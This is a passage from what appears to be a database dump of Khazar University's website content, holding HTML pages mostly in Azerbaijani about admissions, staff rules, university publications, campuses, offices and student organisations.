credits</p><p>GEOG 104 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Meteorology%20and%20Climatology_Spring%202017.pdf\">Meteorology and Climatology</a> -&nbsp;3 credits  </p><p>SCI 101 - <a href=\"http://www.khazar.org/files/geography_depart/Earth%20and%20Space_Spring%202017.pdf\">Earth and Space</a> -&nbsp;3 credits</p>'),(201,77,'az','Potensial tələbələr','Potensial tələbələr','<p>Xəzər Universitetində seçilmiş tələbələrin qəbul edilməsi həmişə diqqət mərkəzində olan məsələlərdəndir. Ona görə də daima&nbsp;potensial tələbələrin ali məktəbə cəlb olunması istiqamətində işlər aparılır.</p><p>Bu məqsədlə daima orta məktəblərə gedilir, universtə haqqında məlumatlar verilir, təqdimatlar edilir. Orta məktəblərin yaxşı oxuyan şagirdləri arasında hər il olimpiada keçirilir və onun nəticələrindən asılı olaraq potensial tələbələrə burada güzəştli oxumaq imkanları verilir. Eləcə də orta məktəb şagirdləri universitəyə dəvət olunur, universitənin şəraiti, kitabxanası, tələbə həyatı ilə tanış olurlar.</p><p>Digər tərəfdən şagirdlərin uğurlu nəticələr göstərərək ali məktəblər qəbul olmasına köməklik göstərmək məqsədi ilə burada xüsusi hazırlıq mərkəzi fəaliyyət göstərir.</p><p>Оrtа məktəbi bitirmiş аbituriyеntlər Dövlət İmtahan Mərkəzinin (DİM) kеçir­diyi tеst imtаhаnlаrındа iştirаk еtməklə ümumi müsа­bi­qədən kеçir və müsаbiqədə yеtərincə bаl tоplаmış аbi­turiyеntlər univеrsitetə qəbul оlu­nurlаr.</p><p>Əgər müsаbiqə zаmаnı univеrsitetin müəyyənləş­dir­diyi qə­bul plаnı dоlmаzsа, о zаmаn əlаvə müsаbiqə еlаn оlunа bi­lər. Мüsаbiqə yаlnız DİM-in kеçir­di­yi tеst imtаhаn­lа­rın­dа iştirаk еtmiş və müəyyən bаl həddini kеçmiş аbituri­yеnt­lər аrаsındа аpаrılır.</p><p>&nbsp;Bunun üçün аbituriyеntlər Univеrsitetin qəbul kоmis­siyаsınа аşаğıdаkı sənədləri təqdim еtməlidirlər:</p><ul><li>Rеktоrun аdınа ərizə</li><li>Tеst imtаhаnlаrının nəticəsi hаqqındа DİM-dən&nbsp;vеrilmiş хüsusi sənəd</li></ul><p>Sənədlərini təqdim еdən аbituriyеntlər müsаbiqədə iştirаk еdir və fərqlənənlər univеrsitetə qəbul оlunur­lаr. Bundаn sоnrа qəbul еdilən аbituriyеntlərin siyа­hısı DİM-ə&nbsp;təqdim оlunur və оnlаrın Univеrsitetə qəbulu rəsmi­ləş­dirilir.</p><p>Xarici ölkə vətəndaşları olan potensial tələbələr isə qəbul olmaq üçün birbaşa universitetin özünə - Beynəlxalq Əlaqələr ofisinə&nbsp;müraciət edirlər.</p>'),(202,78,'az','Məzunlar','Məzunlar','<p>Bu gün «Xəzər»in məzunları həm ölkəmizdə, həm də xaricdə ən nüfuzlu təş­kilatlarda, müxtəlif ölkələrin Azərbaycandakı səfirlik və diplomatik korpuslarında və başqa nüfuzlu beynəlxalq təşkilatlarda uğurla çalışırlar. Məzunlarımızın bir qismi təhsillərini ABŞ, Böyük Britaniya, Fransa, Kanada, Yaponiya, Cənubi Koreya Respublikası, Çin, Hindistan, İspaniya, İtaliya, Türkiyə, Yunanıstan, Rusiya, Portuqaliya, Polşa, Macarıstan, Bolqariya, Almaniya, Norveç, İsveç, və. s ölkələrin tanınmış ali məktəblərində magistr və doktorantura səviyyəsində davam etdirirlər.</p>'),(203,79,'az','İşçi heyət','İşçi heyət','<p>Univеrsitetin işçi hеyəti ümumilikdə 300 nəfərdən аrtıqdır. Burа аşаğıdаkı işçi qruplаrı dахildir:</p><ul><li>Мüəllimlər</li><li>Еlmi iş və хidmətlə məşğul оlаnlаr (tədqiqаtçılаr, kitаbхаnаçılаr)</li><li>İnzibаtçılаr</li><li>Кöməkçi hеyət</li><li>Техniki хidmət və təsərrüfаt işçiləri</li></ul><p><strong><em>&nbsp;</em></strong></p><p><strong>İşə qəbul q</strong><strong>а</strong><strong>yd</strong><strong>а</strong><strong>l</strong><strong>а</strong><strong>rı. Sın</strong><strong>а</strong><strong>q və y</strong><strong>ох</strong><strong>l</strong><strong>а</strong><strong>m</strong><strong>а</strong><strong>&nbsp;</strong><strong>müddəti</strong></p><p>Univеrsitetin hər hаnsı bir şöbəsinə yеni işçi qəbul еdilərkən, bir qаy­dа оlаrаq, о əvvəlcə 1 аylıq (bəzən 2 аylıq) sınаq müddətinə qə­­bul еdilir. Оnun sınаq müddətinə qəbul еdilməsi hаqqındа хüsusi əmr imzаlаnır və uyğun sənədlər kаdrlаr şöbəsində sах­lа­nı­lır. Sınаq müddəti bаşа çаtаnın işə qəbul еdilib-еdilməyəcəyi, sı­­nаq dövründə оnun öz iş bаcаrığını nеcə göstərməsindən, ət­rаf­dа­kılаrlа ünsiyyət qurmа bаcаrığındаn və s. еlеmеntlərdən аsılıdır. Оdur ki, sınаq və yохlаmа müddətinə qəbul еdilənin bu müd­­­dət ərzindəki işi üzərində хüsusi nəzаrət оlur. Sınаq müddəti bа­şа çаtаndаn sоnrа yеni işçini təqdim еtmiş şöbənin rəhbəri оnun sınаq müddəti ərzindəki fəаliyyəti və şəхsi kеyfiyyətləri bа­rə­də Univеrsitet rəhbərliyinə məlumаt vеrir və оnun qəbul еdilib-еdil­məməsi bаrədə öz tövsiyyələrini еdir. Bundаn sоnrа rəhbərlik оnu işə qəbul еtmək hаqqındа öz sоn qərаrını vеrir.</p><p>Sınаq müd­də­tin­də çаlışаnlаr bəzi hаllаrdа mааşlа təmin еdilir, digər hаllаrdа isə, trеyninq stаtusundа оlduğu nəzərə аlınаrаq, mааşlа təmin еdil­mir. Bu bаrədə sınаğа məruz qаlаn əvvəlcədən mə­lu­mаt­lаn­dı­rı­­lır.</p><p>&nbsp;</p><p><strong>İş sааtlаrı</strong></p><p>Univеrsitetdə ümumi iş müddəti, şənbə və bаzаr günü istisnа оlmаqlа, həf­tə­nin hər günü sааt 9-dаn 18-ə qədərdir. Bu müddət Univеrsitetdə ştаt cədvəli üzrə çаlışаn bütün işçilərə аiddir. Хüsusi hаllаrdа bə­zi işçi­lər üçün, zərurətdən аsılı оlаrаq, хüsusi iş qrаfiki müəy­yən­ləş­dirilə bilər. Bu məsələdə uyğun bölmə rəhbərinin rаzılığı vа­cib­dir. Bеlə ki, əgər işçi fərdi iş qrаfiki üzrə işləyərək öz işini nоr­mаl qurа bilir­sə və bununlа dа öz bölmə rəhbərini qаnе еdirsə, böl­mə rəh­bəri оnа хüsusi qrаfikli iş növbəsinin müəy­yən­ləş­di­ril­mə­si təklifi ilə Univеrsitet rəhbərliyinə mürаciət еdə bilər. Ümu­mi qrаfiklə, yохsа fərdi qrаfiklə çаlışmаsındаn аsılı оlmаyаrаq iş sааtı bitdikdən sоnrа çох vаcib hаllаrdа əlаvə işə еhtiyаc оlаrsа, bu müd­dət üçün əlаvə ödəniş еdilmir. Lаkin qеyri-iş günlərində hər hаn­sı bir işçidən işə gəlməsi və müəyyən işlərin həyаtа kе­çi­ril­mə­sində хidməti хаhiş еdilərsə, əlаvə işin kоmpеnsаsiyаsı ödə­ni­lə bilər.</p>'),(4562,2696,'en','Training on \"Financing and Listing through Capital Markets\"','On December 1, the Faculty of Economics and Management, conducted a training session on \"Financing and Listing through Capital Markets\" for the students...','<p>On December 1, the Faculty of Economics and Management, conducted a training session on \"Financing and Listing through Capital Markets\" for the students of the faculty together with the Training and Education Center of the Financial Markets Control Center. The experts who took part in the workshop covered capital market participants and instruments, investment securities, capital markets financing, types of investment services and the theoretical and practical subjects on issuers of the Baku Stock Exchange listing. The most active participants of the event, which were rich in interactivity and discussion, were awarded certificates by the Chamber of Financial Markets Control.</p>'),(204,80,'az','Xəzər Universitetinin nəşriyyatı','Xəzər Universitetinin nəşriyyatı','<p>Fəаliyyətdə оlduğu dövrdən Xəzər Univеrsitəsində Nəşriyyаt (Kha­zar University Press) fəаliyyət göstərir.</p><p>Xəzər Universitəsi Nəşriyyatı - universitetin kitab, jurnal və digər çap məhsullarını, eləcə də kənardan müraciətləri dəyərləndirən və nəşrə hazırlayan bir qurumdur. &nbsp;</p><p>Nəşriyyatın fəaliyyət dairəsinə dərslik, monoqrafiya, konfrans materialları, elmi-tədqiqat jurnalları, tərcümə layihələri (ingilis və başqa dillərdən Azərbaycan dilinə və həmçinin, Azərbaycan və rus dillərindən ingilis və başqa dillərə tərcümə olunmuş kitab və məqalələr), eləcə də bədii ədəbiyyat nəşri daxildir.</p><p>Xəzər Universitəsi Nəşriyyatı öz məhsulları və fəaliyyəti ilə beynəlxalq aləmdə də tanınır, onun nəşrləri və əməkdaşları bir sıra ölkələrdə sərgi, yarmarka, treyninq və digər program və tədbirlərdə iştirak edirlər.</p><p>Xəzər Universitəsi Nəşriyyatı Azərbaycan ISBN agentliyi və Azərbaycan ISMN agentliyi - beynəlxalq kitab və musiqi əsərlərinin standartlaşdırılması Milli Agentliyi kimi də fəaliyyət göstərir.&nbsp;<a href=\"http://www.ismninternational.org/agencies/azerbaijan.html\">http://www.ismninternational.org/agencies/azerbaijan.html</a></p><p><strong><br></strong></p><h3><strong>Əlaqə:</strong>&nbsp;<br></h3>\r\n<p><strong>Ünvan</strong>:&nbsp;&nbsp;&nbsp;&nbsp;AZ1096 Bakı, Məhsəti küçəsi 41, Xəzər Universiteti</p><p><strong>Telefon</strong>:&nbsp;&nbsp; (+994 12) 4217916 (210)</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;(+994 50) 3554806 (mobil)</p><p><strong>Faks</strong>:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (+994 12) 498 93 79</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong><a href=\"mailto:zyusifoglu@khazar.org\" target=\"_blank\">zyusifoglu@khazar.org</a></strong></p>'),(205,81,'az','Xəzər Humanitar və Sosial Elmlər jurnalı','Xəzər Humanitar və Sosial Elmlər jurnalı','<p><a href=\"http://jhss-khazar.org/\">Xəzər humanitar və sosial elmlər jurnalı</a></p>'),(206,82,'az','Xəzər Xəbər jurnalı','Xəzər Xəbər jurnalı','<p>1995-ci ildə Universitet qəzeti kimi fəaliyyətə başlayan \"Xəzər Xəbər\" jurnalı (\"Khazar Review\") üç dildə - Azərbaycan, ingilis və rus dilərində nəşr olunur (jurnalın hər sayında yazılar təqdim olunduğu dildə -&nbsp;azərbaycan, ingilis və ya rus dillərində dərc olunur). Dünya, Azərbaycan və universitet həyatı barədə materiallar, müxtəlif elmi və pedaqoji məqalələr, elmi xəbərlər, tələbə həyatı, müəllim və tələbələr tərəfindən yazılan şeir, esse və hekayələrin yer aldığı \"Xəzər Xəbər\" Azərbaycanda ən çox oxunan elmi-kütləvi və bədii jurnallardan biridir. 2010-cu ildən etibarən \"Xəzər Xəbər\" fəaliyyətini yeni formatda - ayda bir dəfə dərc edilən 80 səhifəli rəngli jurnal kimi davam etdirir.</p><p><strong>\"Xəzər Xəbər\" jurnalının rəsmi saytı:&nbsp;</strong><a href=\"http://khazar-review.khazar.org/\">khazar-review.khazar.org/</a></p><h3><br></h3><h3>Əlaqə</h3><p><strong><a href=\"http://www.khazar.org/files/letters/Balayev_Alirza-CV.pdf\"><img src=\"/files/letters/alirza_b.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:144px\">Əlirza Balayev</a></strong></p><p><strong>Baş redaktor müavini</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:abalayev@khazar.org\">abalayev[at]khazar.org</a>&nbsp;</p><p><strong>Telefon: </strong>(+99412) 421 10 93 (209)</p><p><br></p>  \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Afruz_Farzaliyeva-CV.pdf\"><img src=\"/files/letters/efruz_f.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:130px\">Əfruz Fərzəliyeva</a></strong><br></p><p><strong>Korrektor</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:eferzeliyeva@khazar.org\">eferzeliyeva[at]khazar.org</a></p>'),(207,83,'az','Tələbə qəzeti','Tələbə qəzeti','<p><strong>Tələbə Qəzeti “KHAZAR COURIER”</strong></p><p></p><p>2012-ci ilin dekabr ayından etibarən universitetdə “Khazar courier” adlı tələbə qəzeti nəşr olunmağa başlamışdır. Qəzet ingilis dili və ədəbiyyatı departamenti tərəfindən ingilis dilində nəşr olunur. Qəzet universitet tələbələrinin məqalələri, müsahibələri, bədii yaradıcılıqları və s. əsasında formalaşır, burada universitetdə baş verən yeniliklər, keçirilən görüşlər haqqında yazılar dərc olunur. “Khazar Courier” tələbələrin ingiliscə yazı və danışıq dili vərdişlərinin formalaşması, ingilis dilli mətbuat oxucularının sayının artırılması və s. məqsədi ilə yaradılıb. Qəzet hazırda A3 formatlı kağızda, dörd səhifə həcmində rəngli çap olunur, gələcəkdə həm həcmi, həm də formatı dəyişə bilər. Qəzetin redaktoru ingilis dili və ədəbiyyatı departamentinin baş program koordinatoru&nbsp;Cəmalə&nbsp;Məmmədova,&nbsp;redaktor müavini isə jurnalistika departamentinin koordinatoru&nbsp;Cabir Məmmədlidir. Qəzetin ideyaçısı və yaradıcısı&nbsp;Joel Robbinsdir&nbsp;</p><p></p><p></p><p>Əlaqə:&nbsp;redaktor Cəmalə Məmmədova</p><p><span class=\"<img src=\" http:=\"\" khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 9b8f1898=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/demo/13_01_25_son3.jpg\" rel=\"media7994131164748037\" width=\"150\" height=\"100\" style=\"font-weight: bold;\">E-mail:&nbsp;</span><a href=\"mailto:Jmammadova@khazar.org\">Jmammadova@khazar.org</a><strong>&nbsp;</strong></p><p><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong><a href=\"mailto:Jamala.mammadova@gmail.com\">Jamala.mammadova@gmail.com</a><strong>&nbsp;</strong></p><p>&nbsp;Tel: (+99412) 421 79 16</p><p>&nbsp;Fax:(+99412) 498 93 79&nbsp;</p><p>&nbsp;redaktor müavini Cabir Məmmədli</p><p>E-mail:<strong>&nbsp;&nbsp;</strong><a href=\"mailto:ja1az@yahoo.com\">ja1az@yahoo.com</a>;&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"mailto:cmammadli@khazar.org\">cmammadli@khazar.org</a></p><div>&nbsp;</div><p>Telefon:&nbsp;&nbsp;&nbsp; (+99450) 526 55 68 (mobil)</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (+99412) 421 7916</p><p></p><div><img src=\"http://www.khazar.org/files/demo/13_01_25_son3.jpg\" style=\"border:0px  #000000;width:250px;height:352px;margin:7px;float:left\"><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><p></p><p><a href=\"http://www.khazar.org/files/Khazar%20Courier1.pdf\">Khazar Courier1</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/Khazar%20Courier2.pdf\">Khazar Courier2</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/Khazar%20Courier3.pdf\">Khazar Courier3</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/Khazar_Courier4.pdf\">Khazar&nbsp;Courier4</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/Khazar_Courier5.pdf\">Khazar&nbsp;Courier5</a>&nbsp;</p><p></p>'),(4656,2764,'az','Cisco Şəbəkə Akademiyası Xəzər Universitetində təqdimat etdi','2017-ci il dekabrın 20-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin 2-ci, 3-cü və 4-cü kurs kompüter elmləri...','<p>2017-ci il dekabrın 20-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin 2-ci, 3-cü və 4-cü kurs kompüter elmləri və kompüter mühəndisliyi ixtisası üztə təhsil alan tələbələri üçün “<em><strong>Cisco Şəbəkə Akademiyası Proqramı</strong></em>” adlı seminar keçirildi. Seminar Cisco Şəbəkə Akademiyasının (Cisco Networking Academy) Azərbaycanda rəsmi tərəfdaşı <strong><em>NetAcad.az </em></strong>(Azərbaycan Şəbəkə Akademiyası) və Təlimçilərin Hazırlığı Mərkəzi (ITC) tərəfindən təşkil edilmişdi. Görüşdə Emin Seyidov və Fərrux Rəcəbli Cisco Şəbəkə Akademiyasının təqdim etdiyi İKT sahəsindəki yeniliklər və tərkibində olan kurslar, bu istiqamətdə görülən işlər haqqında məlumat verdilər.</p>'),(208,84,'az','Xəzər TV','Xəzər TV','<p></p><p>Xəzər Universitetinin&nbsp; Xəzərin səsi &nbsp;internet TV-si &nbsp;2010-cu ildən yayıma başlayıb. Bütün dünyada 24 saat yayımlanan&nbsp; bu kanalda&nbsp; dünya və Azərbaycan filmləri, müxtəlif üslublu milli musiqi, klassik musiqi və digər proqramlar nümayiş etdirilir. Bu, Azərbaycanın ilk universitet televiziya kanalıdır. (tv.radiokhazar.org).</p><p><a href=\"http://radiokhazar.org/radio/\">Xəzər TV saytına baxa bilərsiniz.</a></p><p></p>'),(209,85,'az','Xəzər Universiteti Radiosu','Xəzər Universiteti Radiosu','<p><a href=\"http://radio.khazar.org/\" style=\"font-size:large\"><strong>Xəzər Universiteti Radiosu</strong></a></p>'),(210,86,'az','ISBN və ISMM xidmət','ISBN və ISMM xidmət',''),(211,87,'az','Kampuslar','Kampuslar','<p><strong style=\"font-size:large\">Universitetdə tədris, ümumi sahəsi 17.542 kv.m. olan 5 tədris korpusunda aparılır.&nbsp;</strong></p><p><strong style=\"font-size:large\"><br></strong></p><p><img src=\"http://www.khazar.org/files/demo/225px-X%23U0259z%23U0259r_Universiteti047.jpg\" style=\"width:225px;height:151px;margin:7px;float:right\"></p><h3><strong>Neftçilər Kampusu - 1</strong></h3><p><strong>Ünvan: Məhsəti küçəsi 41</strong></p><p>Burada nəşriyyat, mətbəə, surətçıxarma mərkəzi, elmi və tədris laboratoriyaları, akademik departmentlər, elmi institut və mərkəzlər fəaliyyət göstərir, elmi və ədəbi-publisistik jurnallar nəşr olunur. Zəngin universitet kitabxanasının bir hissəsi, müasir kompüter mərkəzləri, tibb mərkəzi, idman salonu tələbə və işçilərin xidmətindədir.</p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/demo/110px-X%23U0259z%23U0259r_Universiteti025.jpg\" style=\"width:160px;height:258px;margin:7px;float:right\"><strong><br></strong></p><h3><strong>Neftçilər Kampusu&nbsp;-&nbsp;2</strong></h3><p><strong></strong><strong>Ünvan: Məhsəti küçəsi 41</strong></p><p><strong></strong>Tədris binası ən müasir kompüterlərlə təchiz edilmiş kompüter mərkəzləri, müasir yazı lövhələri, proyektorlarla, eləcə də video-nəzarət sistemi ilə təchiz edilmiş geniş və işıqlı auditoriyalar, binanın birinci mərtəbəsini əhatə edən müasir tələblərə cavab verən yeməkxana və binanın 5-ci və 6-cı mərtəbəsində yerləşən geniş, ən müasir dərsliklərlə zəngin kitabxanadan, eləcə də xüsusi dizayna malik konfrans salonundan ibarətdir.</p><p><br></p><p><br></p>\r\n<p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/demo/230px-X%23U0259z%23U0259r_Universiteti038_BS.jpg\" style=\"width:230px;height:153px;margin:7px;float:right\"></p><h3><strong>Mərkəz Kampusu</strong></h3><p><strong>Ünvan: Bəşir Səfəroğlu küçəsi 122</strong></p><p>Bina 20-dən çox dərs otağından, konfrans mərkəzindən, yeməkxana, kitabxana və kompüter laboratoriyası, 280 nəfərlik gözəl teatr salonundan ibarətdir. Bu salon, universitədə təşkil olunan konfrans, yaradıcılıq gecələri, müxtəlif görüşlər və. s. tədbirlərinin keçirilməsində istifadə olunur.</p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/demo/220px-D%23U00fcnya_m%23U0259kt%23U0259bi_binas%23U0131.jpg\" style=\"float:right;margin:7px;width:230px;height:171px\"></p><h3><strong>Binəqədi Kampusu&nbsp;</strong></h3><p><strong>Ünvan:&nbsp;Bakı, Əcəmi Naxçıvani&nbsp;</strong><strong>küçəsi&nbsp;</strong><strong>9</strong></p><p>Burada Xəzər Universiteti nəzdində fəaliyyət göstərən «Dünya» məktəbi yerləşir, həmçinin Təhsil fakültəsinin bir sıra dərsləri də burada keçirilir. Müasir xüsusi dizaynla tikilmiş kampus təxminən 1 hektara yaxın sahəni əhatə edir. 3 tədris binası və ayrıca idman kompleksindən ibarət kampus tədris üçün lazım olan bütün əsas və köməkçi vəsitələrlə, o cümlədən kitabxana, laboratoriyalar, kompüter salonları, yeməkxana, qonaq evi və s. ilə təmin edilmişdir. Xəzər Universiteti Texnoparkı da burada yerləşir.</p>\r\n<p><br></p><p><br></p><p><br></p><h3><strong>Xəzər Universiteti Psixoloji Məsləhət və Psixoterapiya Mərkəzi&nbsp;</strong></h3><p><strong>Ünvan: Həzi Aslanov küçəsi 31</strong></p><p>Burada universitetin adı çəkilən mərkəzi fəaliyyətdədir. Mərkəz elmi-tədqiqat və maarifçiliklə məşğul olmaqla yanaşı əhaliyə və təşkilatlara xidmət də göstərir.</p>'),(212,88,'az','Ofislər və xidmətlər','Ofislər və xidmətlər','<address><h3><strong><strong><a href=\"http://www.khazar.org/az/menus/781/_rektorluq\" style=\"font-style:normal\">Rektorluq</a></strong></strong></h3><div><strong style=\"font-style:normal\"><br></strong></div><h3><strong style=\"font-style:normal\"><strong><a href=\"http://www.khazar.org/az/menus/782/prorektorlarin_ofisi\">Prorektorların ofisi:</a></strong></strong></h3><ul><li><a href=\"http://www.khazar.org/az/menus/782/prorektorlarin_ofisi\" style=\"font-style:normal\">Akademik işlər üzrə</a></li><li><a href=\"http://www.khazar.org/az/menus/782/prorektorlarin_ofisi\" style=\"font-style:normal\">İdarəetmə və tələbə işləri üzrə</a></li><li><span style=\"font-style:normal\"><a href=\"http://www.khazar.org/az/menus/782/prorektorlarin_ofisi\">Elmi işlər üzrə</a></span></li><li><a href=\"http://www.khazar.org/az/menus/159/beynelxalq_elaqeler_ofisi\" style=\"font-style:normal\">Beynəlxalq əlaqələr üzrə</a></li></ul><h3><strong style=\"font-style:normal\"><a href=\"http://www.khazar.org/az/menus/785/dekanliqlar\">Dekanlıqlar:</a></strong></h3><h3><span style=\"font-style:normal\"></span></h3><ul><li><a href=\"http://www.khazar.org/az/menus/47/muhendislik_ve_tetbiqi_elmler_fakultesi\" style=\"font-style:normal\">Mühəndislik və tətbiqi elmlər fakültəsi</a></li><li><a href=\"http://www.khazar.org/az/menus/54/iqtisadiyyat_ve_menecment_fakultesi\" style=\"font-style:normal\">İqtisadiyyat və menecment fakültəsi</a></li><li><a href=\"http://www.khazar.org/az/menus/56/humanitar_ve_sosial_elmler_fakultesi\" style=\"font-style:normal\">Humanitar və sosial elmlər fakültəsi</a></li><li><a href=\"http://www.khazar.org/az/menus/55/tehsil_fakultesi\" style=\"font-style:normal\">Təhsil fakültəsi</a></li></ul><h3><span style=\"font-style:normal\"><strong>Akademik&nbsp; ofislər:</strong></span></h3><ul><li><a href=\"http://www.khazar.org/az/menus/17/magistratura_doktorantura_ve_elmi_ishler_shobesi\" style=\"font-style:normal\">Magistratura,&nbsp;Doktorantura və Elmi-tədqiqat işləri bölməsi</a></li><li><a href=\"http://www.khazar.org/az/menus/19/akademik_departamentler\" style=\"font-style:normal\">Akademik departamentlər</a></li><li><a href=\"http://www.khazar.org/az/menus/18/institut_ve_merkezler\" style=\"font-style:normal\">İnstitut&nbsp;və mərkəzlər</a></li></ul><h3><strong style=\"font-style:normal\">İnzibati ofislər:&nbsp;</strong></h3><ul><li><span style=\"font-style:normal\"><a href=\"http://www.khazar.org/az/menus/870/insan_resurslari\">İnsan resursları&nbsp;mərkəzi</a></span></li><li><a href=\"http://www.khazar.org/az/menus/882/ictimaiyyetle_elaqeler_ve_media_shobesi\" style=\"font-style:normal\">İctimaiyyətlə əlaqələr və media şöbəsi</a></li><li><a href=\"http://www.khazar.org/az/menus/875/telebe_qeydiyyat_ve_melumat_shobesi\"></a><span style=\"font-style:normal\"><a href=\"http://www.khazar.org/az/menus/875/telebe_qeydiyyat_ve_melumat_shobesi\">Tələbə qeydiyyat və məlumat şöbəsi</a></span><a href=\"http://www.khazar.org/az/menus/875/telebe_qeydiyyat_ve_melumat_shobesi\"></a>  </li><li><a href=\"http://www.khazar.org/az/menus/1246/qebul_ve_telebe_shobesi\"><span style=\"font-style:normal\">Qəbul və Tələbə Şöbəsi</span></a>  <br></li><li><a href=\"http://www.khazar.org/az/menus/886/kadrlar_shobesi\" style=\"font-style:normal\">Kadrlar şöbəsi</a></li><li><a href=\"http://www.khazar.org/az/menus/887/maliyye_shobesi\" style=\"font-style:normal\">Maliyyə şöbəsi</a></li><li><a href=\"http://www.khazar.org/az/menus/888/muhasibatliq\" style=\"font-style:normal\">Mühasibatlıq</a></li><li><span style=\"font-style:normal\"><a href=\"http://www.khazar.org/az/menus/1231/informasiya_texnologiyalari_shobesi\">İnformasiya texnologiyaları şöbəsi</a></span></li><li><span style=\"font-style:normal\"><a href=\"http://www.khazar.org/az/menus/1245/informasiya_sistemleri_shobesi\">İnformasiya sistemləri şöbəsi</a></span></li><li><span style=\"font-style:normal\">Satınalma şöbəsi</span></li><li><span style=\"font-style:normal\"><a href=\"http://www.khazar.org/az/menus/1249/temir_tikinti_shobesi\">Təmir-tikinti şöbəsi</a></span></li><li><a href=\"http://www.khazar.org/az/menus/1248/teserrufat_shobesi\"><span style=\"font-style:normal\">Təsərrüfat </span><span style=\"font-style:normal\">şö</span></a><span style=\"font-style:normal\"><a href=\"http://www.khazar.org/az/menus/1248/teserrufat_shobesi\">bəsi</a></span></li><li><a href=\"http://www.khazar.org/az/menus/70/xezer_universitetinin_neshriyyati\" style=\"font-style:normal\">Nəşriyyat</a></li><li><a href=\"http://www.khazar.org/az/menus/889/metbee\" style=\"font-style:normal\">Mətbəə</a></li><li><a href=\"http://www.khazar.org/az/menus/89/inkishaf_merkezi\" style=\"font-style:normal\">İnkişaf mərkəzi</a></li><li><a href=\"http://www.khazar.org/az/menus/890/_institusional_arashdirmalar\" style=\"font-style:normal\">İnstitusional Araşdırmalar mərkəzi</a></li><li><a href=\"http://www.khazar.org/az/menus/1187/library\" style=\"font-style:normal\">Kitabxana-İnformasiya mərkəzi</a></li><li><a href=\"http://www.khazar.org/az/menus/103/peshe_inkishaf_merkezi\" style=\"font-style:normal\">Peşə mərkəzi</a></li><li><span style=\"font-style:normal\"><a href=\"http://www.khazar.org/az/menus/100/multimedia_merkezi\">Multimedia&nbsp;mərkəzi</a></span></li><li><a href=\"http://www.khazar.org/az/menus/424/internet_tehsil_merkezi\" style=\"font-style:normal\">İnternet təhsil mərkəzi</a></li><li><a href=\"http://www.khazar.org/az/menus/894/tibbi_yardim_merkezi\" style=\"font-style:normal\">Tibbi yardım mərkəzi</a></li><li><a href=\"http://www.khazar.org/az/menus/101/xezer_psixoloji_xidmet_merkezi\" style=\"font-style:normal\">Xəzər Psixoloji Xidmət Mərkəzi</a></li><li><a href=\"http://www.khazar.org/az/menus/897/yemekhana\" style=\"font-style:normal\">Yeməkxana</a></li><li><span style=\"font-style:normal\"><a href=\"http://www.dunyaschool.az/\">Dünya məktəbi ofisləri</a></span></li></ul></address>'),(213,89,'az','Tələbə Birliyi','Tələbə Birliyi','<p><strong>Tələbə Məclisi</strong></p><p>Tələbə Məclisi Xəzər Universitetinin əsas tələbə təşkilatıdır. Bu təşkilat Tələbə Məclisi Prezidenti, Vitse-prezident və digər lider tələbə-şəxsiyyətlərdən təşkil olunmuş Tələbə Senatı tərəfindən öz nizamnaməsi əsasında idarə edilir. Tələbə Məclisi öz fəaliyyətini müxtəlif departamentlər üzrə qurmuşdur:</p><p><strong>Təhsil departamenti</strong></p><ul><li>Tələbələrin təhsil aldıqları müddətdə meydana çıxan hər cür problemlərini həll etməyə kömək edir</li><li>Tələbələrlə fakültə və işçi heyət arasında görüşlər keçirir</li><li>Müxtəlif maraq klubları təşkil edir</li><li>Tələbə sorğusunun keçirilməsi prosesinə kömək edir</li></ul><p><strong>Mədəniyyət departamenti</strong></p><ul><li>Azərbaycan mədəniyyətini yerli və beynəlxalq tələbələr arasında təbliğ edir və digər milli mədəniyyətlər haqqında məlumat verir</li><li>Universitetin mahnı və rəqs ansambllarının konsert və təqdimatlarına dəstək göstərir</li></ul><p><strong>İdman departamenti</strong></p><ul><li>Universitet tələbələrini müxtəlif idman növləri üzrə yarışlarda iştirak etməyə həvəsləndirir</li><li>Yerli çempionat və turnirlər təşkil edir</li></ul><p><strong>Hüquq departamenti</strong></p><ul><li>Tələbə Məclisinin rəsmi sənədlərini hazırlayır və onların hüquqi baxımdan düzgün tətbiqinə nəzarət edir</li><li>Universitet tələbələrinin hüquqlarının qorunmasına nəzarət edir</li></ul><p><strong>Tələbələrin mətbuat departamenti&nbsp;</strong></p><ul><li>Xəzər Xəbər jurnalı üçün müxtəlif məqalə və xəbərlər hazırlayır</li><li>Universitetdə həyata keçirilən maraqlı tədbirlər haqqında 